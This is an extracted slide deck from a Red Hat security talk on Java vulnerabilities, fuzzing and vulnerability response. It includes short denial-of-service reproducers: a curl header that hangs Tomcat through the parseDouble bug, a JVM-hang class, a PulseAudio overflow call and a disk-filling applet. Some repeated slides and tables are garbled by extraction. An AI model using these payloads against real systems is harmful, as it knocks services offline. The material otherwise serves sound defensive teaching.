Java Vulnerabilities

Marc Schönefeld
Senior Software Engineer
Red Hat Security Response Team

Linuxtag 2011, Berlin
The Speaker

Marc Schönefeld
- Dipl.-Wirtschaftsinformatiker @ WWU Münster
- Dr. rer. nat. @ University of Bamberg

since 2002
- Researched and reported Java security bugs to Sun (later Oracle), IBM, ASF and JBoss
- Talks and trainings on security topics at intl. conferences
  - Blackhat, RSA, DIMVA, Xcon, PacSec, CanSecWest, SyScan, HackInTheBox
- Reported numerous security bugs in non-java software
  - Adobe Reader, Adobe Flash, Android SDK, Firefox, Google Chrome, Opera, Microsoft Windows, Safari, Apple OSX
  - Freetype, Wireshark, Hplip, Pango, OpenOffice.org … (as in Fedora & Red Hat Enterprise Linux)
- Wrote undx (GPL) which transfers Android binaries back to Java classes
- Since 2007 member of Red Hat Security Response Team
Agenda

- Security Vulnerabilities key terms
- Selected Java vulnerabilities
- Proactive Approaches to discover Java vulnerabilities
- Red Hat Security Response Workflow
Key terms: Vulnerability

- **Vulnerability**
  - Weakness which allows an attacker to reduce a system's information assurance (Wikipedia).

- Common details are described in CWE (http://cwe.mitre.org/)
  - Common Weakness Enumeration

- Specific details are described in CVE (http://cve.mitre.org/)
  - Common Vulnerability Enumeration

- Impact is described with CVSS2 (http://nvd.nist.gov/cvss.cfm)
  - Common Vulnerability Scoring System (Score + Vector)

- **Embargo**
  - Time between the vulnerability is reported an made public
  - Provides vendors the time to create and test patches
  - Part of responsible disclosure; zero-day <-> no embargo
Key terms: CWE

- Common Weakness Enumeration (http://cwe.mitre.org/)
- Database that describes abstract software weaknesses
- Identified by Weakness ID
- Introduction time
- Platform
- Examples
- Relationships (child-of, parent-of, related CVE)
- Detection techniques
- Mitigations
- Mappings in weakness taxonomies
- References
Key terms: CWE

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Description Summary
The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

Extended Description
If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

Applicable Platforms
Language-independent

Common Consequences
Scope | Effect
--- | ---
Availability | Technical Impact: DoS: resource consumption (CPU); DoS: resource consumption (memory); DoS: amplification

An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2011-1027</td>
<td>Chain: off-by-one error leads to infinite loop using invalid hex-encoded character</td>
</tr>
<tr>
<td>CVE-2011-1142</td>
<td>Chain: self-referential values in recursive definitions lead to infinite loop.</td>
</tr>
<tr>
<td>CVE-2011-1002</td>
<td>NULL UDP packet is never cleared from a queue, leading to infinite loop.</td>
</tr>
<tr>
<td>CVE-2010-4476</td>
<td>Floating point conversion routine cycles back and forth between two different values.</td>
</tr>
<tr>
<td>CVE-2010-4645</td>
<td>Floating point conversion routine cycles back and forth between two different values.</td>
</tr>
</tbody>
</table>
Key terms: CVE

- Common Vulnerability Enumeration (http://cve.mitre.org/)
- Database maintained by Mitre, enumerates specific vulnerabilities
- Every vulnerability has an ID
- References (vendor reports, detail reports)
Key terms: CVE

CVE-2010-4476

Learn more at National Vulnerability Database (NVD)
- Severity Rating
- Fix Information
- Vulnerable Software Versions
- SCAP Mappings

Description
The `Double.parseDouble` method in Java Runtime Environment (JRE) in Oracle Java SE and Java for Business 6 Update 23 and earlier, 5.0 Update 27 and earlier, and 1.4.2_29 and earlier, as used in OpenJDK, Apache, JBossWebs, and other products, allows remote attackers to cause a denial of service via a crafted string that triggers an infinite loop of estimations during conversion to a double-precision binary floating-point number, as demonstrated using 2.2250738585072012e-308.

References
Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

- MISC:http://blog.fortify.com/blog/2011/02/08/Double-Trouble
Key terms: CVSS2

- The Common Vulnerability Scoring System (CVSS) provides
  - a CVSS score, scalar value, from 0.0 to 10.0
  - And a vector that illustrates how score was calculated. This allows users to acquire more details of vulnerability.
  - Maintained at NVD (National vulnerability database)

**AV** = Access Vector :  L = Local, A = Adjacent netw., N = Network

**AC** = Access Complexity :  H = High, M = Medium, L = Low

**Au** = Authentication:  N= None, S= single, M= multiple

**C** = Confidentiality Impact :  N = None, P = Partial, C = Complete

**I** = Integrity impact: N = None, P = Partial, C = Complete

**A** = Availability impact: N = None, P = Partial, C = Complete

- CVE-2010-4476: 5.0 (MEDIUM) (AV:N/AC:L/Au:N/C:N/I:N/A:P)
Key terms: CVSS2

**Original release date:** 02/17/2011  
**Last revised:** 04/20/2011  
**Source:** US-CERT/NIST

**Overview**

The `Double.parseDouble` method in Java Runtime Environment (JRE) in Oracle Java SE and Java for Business 6 Update 23 and earlier, 5.0 Update 27 and earlier, and 1.4.2_29 and earlier, as used in OpenJDK, Apache, JBoss, and other products, allows remote attackers to cause a denial of service via a crafted string that triggers an infinite loop of estimations during conversion to a double-precision binary floating-point number, as demonstrated using `2.2250738585072012e-308`.

**Impact**

**CVSS Severity (version 2.0):**

**CVSS v2 Base Score:** 5.0 (MEDIUM)  
**Impact Subscore:** 2.9  
**Exploitability Subscore:** 10.0

**CVSS Version 2 Metrics:**

**Access Vector:** Network exploitable  
**Access Complexity:** Low
Java in Red Hat Enterprise Linux and Fedora

<table>
<thead>
<tr>
<th>RHEL</th>
<th>OpenJDK</th>
<th>Oracle JDK</th>
<th>IBM JDK</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6, 1.5, n/a</td>
</tr>
<tr>
<td>5</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6, 1.5, 1.4.2</td>
</tr>
<tr>
<td>4</td>
<td>n/a</td>
<td>1.6</td>
<td>1.6, 1.5, 1.4.2</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Fedora</th>
<th>OpenJDK</th>
<th>Web Plugin</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>1.6 (IcedTea 1.10.1)</td>
<td>IcedTea-Web 1.0.2</td>
</tr>
<tr>
<td>14</td>
<td>1.6 (IcedTea 1.9.7)</td>
<td>OpenJDK Plugin</td>
</tr>
<tr>
<td>13</td>
<td>1.6 (IcedTea 1.8.7)</td>
<td>OpenJDK Plugin</td>
</tr>
</tbody>
</table>
Java Threat model (1)

- Java provides mechanisms to run untrusted code worry-free
  - Applet sandbox
  - JNLP client

- SecurityManager and AccessController control access to privileged resources

- Use case specific least-privilege setups are feasible with custom security policies (but hard to configure & test)
Java Threat model (2)

- Java vulnerability = attacker can bypass the permission checks of the security manager

- Typical vectors to bypass the security manager:
  - JNI (buffer & heap flaws)
  - doPrivileged-API (parameter injection)
Java Threat model (3)

- Java vulnerability = attacker can bypass the permission checks of the security manager

- Typical vectors to bypass the security manager:
  - JNI (buffer & heap flaws)
  - doPrivileged-API (parameter injection)

<table>
<thead>
<tr>
<th>MyProgram.main</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>MyObject()</td>
<td></td>
</tr>
<tr>
<td>java.somepkg.Foo()</td>
<td></td>
</tr>
<tr>
<td>AccessController.doPrivileged()</td>
<td>INJECT ok</td>
</tr>
<tr>
<td>SecurityManager.checkRead()</td>
<td></td>
</tr>
<tr>
<td>SecurityManager.checkPermission()</td>
<td></td>
</tr>
<tr>
<td>AccessController.checkPermission()</td>
<td></td>
</tr>
<tr>
<td>Java.somepkg.Foo.doBar()</td>
<td></td>
</tr>
</tbody>
</table>
Selected vulnerabilities (CVE-2009-0794)

- CWE-190, Integer overflow, child-of CWE-682, Incorrect Calculation
- Integer overflow in Pulse Audio
- as used in OpenJDK 1.6.0.0 and other products
- allows remote attackers to cause a denial of service (applet crash) via a crafted Pulse Audio source data line in method
  
  ```java
  void write(byte[] data, int offset, int length);  
  ```

  ```java
  sourceDataLine.write(abData, Integer.MAX_VALUE -3 , 4 );  
  ```
Selected vulnerabilities (CVE-2009-0794)

- History repeats itself: We have seen that before:
  - Similar weaknesses existed in java-1.4.2’s util.zip (see my Blackhat talk from 2003)
- Patch at http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2009-February/004729.html

```java
--- a/.../PulseAudioSourceDataLine.java   Wed Feb 11 09:14:17 2009 -0500
+++ b/.../PulseAudioSourceDataLine.java   Wed Feb 11 11:49:45 2009 -0500
- if (length + offset > data.length) {
-     throw new ArrayIndexOutOfBoundsException("index: "+
-          (length + offset) + " array size: " + data.length);
+     if (offset < 0 || offset > data.length - length) {
+         throw new ArrayIndexOutOfBoundsException("array size: " +
+             data.length
+             + " offset:" + offset + " length:" + length );
} /* everything ok */
```
Selected vulnerabilities(CVE-2010-4476)

```java
class Runhang {
    public static void main(String[] args) {
        System.out.println("Test:");
        double d = Double.parseDouble("2.2250738585072012e-308");
        System.out.println("Value: " + d);
    }
}
```

- Sends JVM into endless loop
- Unfortunately used in Tomcat getLocale
  - Simple server DoS with
    ```
    curl -H "Accept-Language: en-us;q=2.2250738585072012e-308" URL
    ```
- The bug was already public for 10 years, before it was identified to be security relevant
Selected vulnerabilities(CVE-2010-4476)

- Only one day after the bug gained attention, Andrew Haley’s fix was available on the OpenJDK mailing list, http://mail.openjdk.java.net/pipermail/core-libs-dev/2011-February/005795.html

--- /old/sun/misc/FloatingDecimal.java 2011-02-01 ..
+++ /new/sun/misc/FloatingDecimal.java 2011-02-02 ..
@@ -1549,7 +1548,7 @@
if ( (cmpResult = bigB.cmp( bigD ) ) > 0 ){
    overvalue = true;  // our candidate is too big.
    diff = bigB.sub( bigD );
-   if ( (bigIntNBits == 1) && (bigIntExp > -expBias) ){
+   if ( (bigIntNBits == 1) && (bigIntExp-1 > -expBias) ){
       // candidate is a normalized exact power of 2 and
       // is too big. We will be subtracting.
       // For our purposes, ulp is the ulp of the
Selected vulnerabilities(CVE-2010-0091)

- Unsigned applet can retrieve the dragged information before the drop action occurs, and passively sniff application data
- CWE-668: Exposure of Resource to Wrong Sphere
- PoC: Move graphic from one OO.org instance to another
- platform-independent, works on all Java-enabled architectures
- applet just needs to parse the MIME-types that are passed to it
Selected vulnerabilities (CVE-2010-0091)
Selected vulnerabilities(CVE-2009-1100)

- Disk-Filling Applet (CWE-376: Temporary File Issues)
- Misuse of font functions to DoS a system with an applet
- JDK Version 1.6.0_13 fixes this problem, as creation of temporary font files are supervised using failsafe size limits, and
- unsigned applets are no longer allowed to allocate all available hard disk space

```java
import java.applet.Applet;
import java.awt.Font;
import java.io.InputStream;

class MIS extends InputStream {
    public int read() { return 0; }
    public int read(byte abyte0[], int i, int j) {
        return j - i;
    }
}

class FontCreatorFullDiskApplet extends Applet {
    static { try {
            byte abyte0[] = new byte[0];
            Font font = Font.createFont(0, new MIS());
        } catch(Exception exception) { } }
}
```

```
[mschoene@mschoene ~]$ ls -altr /tmp
total 4088
drwxrwxrwx 11 root 374 Mar 29 11:52 .
-rw-r--r--  1 mschoene 9716465664 Mar 29 12:01 +~JF15437.tmp
```
Proactive Detection Approaches

- Fuzzing
  - Generating pseudo-random testcases
  - Standalone fuzzers, In-JVM fuzzing
- Dynamic Analysis
  - Detect vulnerabilities via deep runtime inspection
  - Scripting JConsole, JVisualVM, JDB, …
- Static Analysis
  - Check for suspicious code patterns
  - BCEL, ASM, Findbugs (bytecode)
  - PMD, Checkstyle (source code)
Standalone Fuzzers (1)

- zzuf
  - Author: Sam Hocevar, License: DWTFYWTPL
  - Xor Bit flip fuzzing
  - transparent proxy
  - File, Stream and network fuzzing
  - Highly configurable fuzz parameters (seed, density, range, ...)
  - Seed not reproducible when java is called within zzuf
  - Use shell script wrapper to separate processes
Standalone Fuzzers (2)

- honggfuzz
  - Author: Robert Swiecki, License: Apache 2
  - http://code.google.com/p/honggfuzz/
  - byte level fuzzing is default
  - Integrated crash analysis (ptrace)
  - Only a few fuzzing parameters
  - Version 0.1 (handling of longer runs difficult)
  - Interesting pre-bucketing via crash sig in filenames
Why fuzz Java?

- Parts of JDK implemented in native C code
  - Image parsers
  - Sound parsers
  - Font rendering
  - Colour Profile parsers
  - Class file verification
- You leave the safe world of guarded array access, managed pointers and fool-proof memory management
  - Buffer overflows
  - Heap corruption
  - Memory corruption
Fuzzer

- Neither zzuf nor Honggfuzz are optimal for fuzzing java
- Honggfuzz stops longer runs on OOM condition (not usable for batches)

General

- Run JVM with –Djava.awt.headless=true to avoid Swing delays (app not shutting down, slow startup times)
- In rare cases the reproducers are unusable, as they only work when run under the fuzzer (random seed messed up)
Java-In-Process Fuzzing

- Why Java Fuzzing
  - Finding exploitable bugs in Java System Libraries is time-consuming
  - requires deep understanding about security architecture,
  - Reduced amount of hookable code paths for trusted-method chaining, privileged deserialization

- Why not choose the easy way: Fuzzing JNI-Code
  - JNI, Java's calling convention into C / C++
  - No security manager, welcome back memory corruption and overflows

- Basic Approach:
  - Bypass integrity constraints in order to crash in native routines

- Generate Fuzzed Mutants with in the JVM
  - Tools to fuzz the JVM
  - In-JVM fuzzing
Fuzzer

- IN-JVM fuzzing
  - Works on byte[] – Buffers
  - Emulates zzuf range and ratio parameters
  - Only restart of JVM once crash happened (save time)
  - To isolate test case create standalone reproducer
  - Works in non-headless mode too
Selected Example: A Java Fuzzer

- Sometimes it is easier to fuzz inside the JVM to save reload time
- Java reimplementation of the basic zzuf algorithm was written
- Use where byte[]-buffers are given to native code

```java
static int[] pot= new int[]{1,2,4,8,16,32,64,128};

public static RetVal fuzz(byte[] arr,int seed, double ratio) {
    Random rand = new Random(seed);
    RetVal r = new RetVal();
    int size = arr.length;
    int size8= size * 8;
    int anz = (int) (size * ratio) ;
    r.changes = anz;
    r.b = arr.clone();
    if (ratio!= 0.0) {
        for (int i = 0 ; i < anz; i++) {
            int pos = rand.nextInt(size8-1);
            int posby = pos / 8 ;
            int posbt = pos % 8;
            byte od = r.b[posby];
            byte newod = (byte) (od ^ pot[posbt]);
            r.b[posby]=newod;
        }
    }
    return r;
}
```
Found by Fuzzing: CVE-2010-3572

- CWE-122: Heap-based Buffer Overflow
- CVSS2 = 7.5/AV:N/AC:L/Au:N/C:P/I:P/A:P
- SEGV processing Midi Soundbanks in the MidiSystem.getSoundbank method
- Method used:
  
  ```
  for i in {1..100} ; do echo $i ; zzuf -s$i -r 0.004 <soundbank-min.gm >/tmp/sb$i ; java DisplaySoundbank /tmp/sb$i ; done
  ```
- Slightly modified test case revealed additional vulnerability CVE-2010-4473
- Both CVE ids were considered upstream to cause remote code execution, triggerable by untrusted applets
Dynamic analysis tools (JVisualVM)

- Part of JDK packages
- Heap Snap shots
- Core dumps
- OQL to query for suspicious objects
- Write custom plugins
- Local/remote
- JVM integration

Monitoring
- Memory
- Metadata
- Threads
Code Analysis

- Findbugs
  - findbugs.sf.net
  - Bytecode based code scanner from Uni of Maryland
  - Detect known bugs types, not good on new types
  - Writing new detectors requires BCEL skills
  - Available in Fedora

May expose internal representation by returning reference to mutable object
Returning a reference to a mutable object value stored in one of the object's fields exposes the internal representation of the object. If instances are accessed by untrusted code, and unchecked changes to the mutable object would compromise security or other important properties, you will need to do something different. Returning a new copy of the object is better approach in many situations.

http://findbugs.sourceforge.net
Code Analysis

Findbugs
- findbugs.sf.net
- Bytecode based code scanner from Uni of Maryland
- Detect known bugs types, not good on new types
- Writing new detectors requires BCEL skills
- Available in Fedora

```java
package jdetect;

import org.apache.bcel.*;

[...]

public class PrivilegedCodeFinder extends [...] {

    public void sawOpcode(int seen) {
        switch (seen) {
            case INVOKESTATIC:
            case INVOKEVIRTUAL:
            String className =
                getDottedClassConstantOperand();
            if (!className.equals(
                "java.security.AccessController")
            return;
            try {
                if (!className.startsWith("["))) {
                    JavaClass clazz = Repository.lookupClass(
                        className);
                    Method[] methods = clazz.getMethods();
                    for (int i = 0; i < methods.length; i++) {
                        Method method = methods[i];
                        if (method.getName().equals(
                            getNameConstantOperand())
                        && method.getSignature().equals(
                            getSigConstantOperand())) {
                        if (method.getName().
                            equals("doPrivileged")) {
```
```
Vulnerability response workflow @ Red Hat

- Upstream
- Community
- Internal audit
- Rewarder

Report

Triage
- Impact
- Embargo
- Duplicate

Package
- patch
- Build
- package

QA
- test

Ship
- Fedora
- RHEL (RHN)

Communicate
- Advisory
- KBase
- Blog
- NVD
Vulnerability response workflow @ Red Hat

- Upstream
- Community
- Internal audit
- Rewarder

- Report
- Triage
  - Impact
  - Embargo
  - Duplicate
- Package
  - patch
  - Build
  - package
- QA
  - test
- QA
  - Fedora
  - RHEL (RHN)

- Ship
- Communicate
  - Advisory
  - KBase
  - Blog
  - NVD
Vulnerability response workflow @ Red Hat

- Upstream
- Community
- Internal audit
- Rewarder

Report

Triage
- Impact
- Embargo
- Duplicate

Package
- patch
- Build
- package

QA
- test

Ship
- Fedora
- RHEL (RHN)

Communicate
- Advisory
- KBase
- Blog
- NVD
Vulnerability response workflow @ Red Hat

- **Upstream**
  - Community
  - Internal audit
  - Rewarder

- **Triage**
  - Impact
  - Embargo
  - Duplicate

- **Package**
  - patch
  - Build
  - Package

- **QA**
  - test

- **Ship**
  - Fedora
  - RHEL (RHN)

- **Communicate**
  - Advisory
  - KBase
  - Blog
  - NVD
Vulnerability response workflow @ Red Hat

- Upstream
- Community
- Internal audit
- Rewarder

Report

Triage
- Impact
- Embargo
- Duplicate

Package
- patch
- Build
- package

QA
- test

Ship
- Fedora
- RHEL (RHN)

Communicate
- Advisory
- KBase
- Blog
- NVD
Vulnerability response workflow @ Red Hat

- **Upstream**
- **Community**
- **Internal audit**
- **Rewarder**

**Report**
- Impact
- Embargo
- Duplicate

**Triage**
- patch
- Build
- package

**Package**
- test

**QA**
- Fedora
- RHEL (RHN)

**Ship**
- Advisory
- KBase
- Blog
- NVD

**Communicate**
CVE-2010-4476 fixes in RHEL and Fedora

<table>
<thead>
<tr>
<th>RHEL</th>
<th>OpenJDK</th>
<th>Oracle JDK</th>
<th>IBM JDK</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>1.6</td>
<td>1.6</td>
<td>1.5</td>
</tr>
<tr>
<td>5</td>
<td>1.6</td>
<td>1.6</td>
<td>1.4.2</td>
</tr>
<tr>
<td>4</td>
<td>n/a</td>
<td>1.6</td>
<td>1.4.2</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Fedora</th>
<th>OpenJDK</th>
<th>Web Plugin</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>1.6 (IcedTea 1.10.1)</td>
<td>IcedTea-Web 1.0.2</td>
</tr>
<tr>
<td>14</td>
<td>1.6 (IcedTea 1.9.7)</td>
<td>OpenJDK Plugin</td>
</tr>
<tr>
<td>13</td>
<td>1.6 (IcedTea 1.8.7)</td>
<td>OpenJDK Plugin</td>
</tr>
</tbody>
</table>

Feb 2011

|       | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 2 | 0 |
| 1    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 2    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 3    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 4    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 5    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 6    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 7    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 8    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 9    |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 10   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 11   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 12   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 13   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 14   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 15   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 16   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 17   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 18   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 19   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 20   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 21   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 22   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 23   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 24   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 25   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 26   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 27   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
| 28   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |


CVE-2010-4476 fixes in RHEL and Fedora

<table>
<thead>
<tr>
<th>RHEL</th>
<th>OpenJDK</th>
<th>Oracle JDK</th>
<th>IBM JDK</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.5</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>n/a</td>
</tr>
<tr>
<td>5</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.5</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.4.2</td>
</tr>
<tr>
<td>4</td>
<td>n/a</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.5</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.4.2</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Fedora</th>
<th>OpenJDK</th>
<th>Web Plugin</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>1.6 (IcedTea 1.10.1)</td>
<td>IcedTea-Web 1.0.2</td>
</tr>
<tr>
<td>14</td>
<td>1.6 (IcedTea 1.9.7)</td>
<td>OpenJDK Plugin</td>
</tr>
<tr>
<td>13</td>
<td>1.6 (IcedTea 1.8.7)</td>
<td>OpenJDK Plugin</td>
</tr>
</tbody>
</table>

Feb 2011

1 2 3 4 5 6 7 8 9 0 1 1 2 3 4 5 1 1 1 1 1 1 1 7 1 1 1 2 2 2 2 2 2 2 2 2 2 2 2
CVE-2010-4476 fixes in RHEL and Fedora

<table>
<thead>
<tr>
<th>RHEL</th>
<th>OpenJDK</th>
<th>Oracle JDK</th>
<th>IBM JDK</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td>5</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td>4</td>
<td>n/a</td>
<td>1.6</td>
<td>1.6</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Fedora</th>
<th>OpenJDK</th>
<th>Web Plugin</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>1.6</td>
<td>IcedTea-Web 1.0.2</td>
</tr>
<tr>
<td>14</td>
<td>1.6</td>
<td>OpenJDK Plugin</td>
</tr>
<tr>
<td>13</td>
<td>1.6</td>
<td>OpenJDK Plugin</td>
</tr>
</tbody>
</table>

Feb 2011
## CVE-2010-4476 fixes in RHEL and Fedora

<table>
<thead>
<tr>
<th>RHEL</th>
<th>OpenJDK</th>
<th>Oracle JDK</th>
<th>IBM JDK</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td>5</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td>4</td>
<td>n/a</td>
<td>1.6</td>
<td>1.6</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Fedora</th>
<th>OpenJDK</th>
<th>Web Plugin</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>1.6 (IcedTea 1.10.1)</td>
<td>IcedTea-Web 1.0.2</td>
</tr>
<tr>
<td>14</td>
<td>1.6 (IcedTea 1.9.7)</td>
<td>OpenJDK Plugin</td>
</tr>
<tr>
<td>13</td>
<td>1.6 (IcedTea 1.8.7)</td>
<td>OpenJDK Plugin</td>
</tr>
</tbody>
</table>

Feb 2011
### CVE-2010-4476 fixes in RHEL and Fedora

<table>
<thead>
<tr>
<th>RHEL</th>
<th>OpenJDK</th>
<th>Oracle JDK</th>
<th>IBM JDK</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td>5</td>
<td>1.6</td>
<td>1.6</td>
<td>1.6</td>
</tr>
<tr>
<td>4</td>
<td>n/a</td>
<td>1.6</td>
<td>1.5</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Fedora</th>
<th>OpenJDK</th>
<th>Web Plugin</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>1.6 (IcedTea 1.10.1)</td>
<td>IcedTea-Web 1.0.2</td>
</tr>
<tr>
<td>14</td>
<td>1.6 (IcedTea 1.9.7)</td>
<td>OpenJDK Plugin 1.5</td>
</tr>
<tr>
<td>13</td>
<td>1.6 (IcedTea 1.8.7)</td>
<td>OpenJDK Plugin 1.4.2</td>
</tr>
</tbody>
</table>

Feb 2011

<table>
<thead>
<tr>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>10</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
<td>9</td>
<td>1</td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>2</td>
<td>2</td>
<td>2</td>
<td>2</td>
<td>2</td>
<td>2</td>
<td>2</td>
<td>2</td>
</tr>
</tbody>
</table>

n/a: Not available
Summing it up

- Java has a powerful defense features, but difficult to configure
- Long history of security problems in cross-language areas (JNI)
- Community involvement allows faster patching (like CVE-2010-4476)
- Trend is towards bundling patch events (Upstream Oracle SSR)
Web resources

- GNU/Andrew’s blogging on OpenJDK security

- Red Hat Security Response Team
  https://access.redhat.com/security/team/

- Red Hat CVE database
  https://www.redhat.com/security/data/cve/

- Latest Oracle Critical Patch Update for Java